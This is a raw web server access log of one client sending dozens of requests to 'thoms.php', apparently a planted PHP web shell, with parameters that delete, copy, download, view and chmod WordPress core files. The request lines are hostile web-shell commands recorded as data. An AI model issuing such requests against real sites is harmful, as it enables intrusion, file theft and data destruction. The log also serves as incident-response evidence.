45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcompat.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcompat.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-atom.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed-atom.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?del=wp-diff.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59350 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15150 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:54 -0400] "GET /thoms.php?del=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-wp-admin-bar.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?chmod=embed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-block-patterns-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?dl=ai-client.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 200 71115 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?dl=category.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59381 "http://163.245.207.76:443/thoms.php?dl=category.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-post-type.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:55 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59373 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59375 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-http-requests-hooks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?dl=block-i18n.json&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13036 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?del=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59279 "http://163.245.207.76:443/thoms.php?del=class-wp-network.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:56 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /big-wife.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?del=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59241 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcache.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcache.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-pop3.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-pop3.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-snoopy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11851 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-supports.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17492 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-request.php HTTP/1.1" 200 12635 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-request.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 200 56949 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:57 -0400] "GET /big-wife.com.tw/wp-includes/ai-client/ HTTP/1.1" 200 908 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /big-wife.com.tw/wp-includes/media-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?dl=https-migration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=https-migration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?del=link-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=link-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?del=post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?dl=registration.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=registration.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61484 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /big-wife.com.tw/wp-includes/rest-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?chmod=rest-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=rest-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsitemaps.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fsitemaps.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:58 -0400] "GET /thoms.php?dl=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 200 12178 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11902 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-block-type-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?chmod=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?del=sitemaps&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=sitemaps&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblocks.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fblocks.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:22:59 -0400] "GET /thoms.php?del=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59205 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-hook.php HTTP/1.1" 200 16920 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-hook.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14165 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /big-wife.com.tw/wp-includes/class-feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?dl=ms-settings.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59374 "http://163.245.207.76:443/thoms.php?dl=ms-settings.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?dl=style-engine.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=style-engine.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-image-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 200 13907 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?dl=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-templates.php HTTP/1.1" 200 13611 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=theme-templates.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 200 14386 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:00 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59389 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59377 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?chmod=images&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=images&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?del=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59411 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?chmod=abilities.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:01 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12926 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:02 -0400] "GET /thoms.php?dl=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=class-wp-token-map.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:23:02 -0400] "GET /big-wife.com.tw/wp-includes/comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
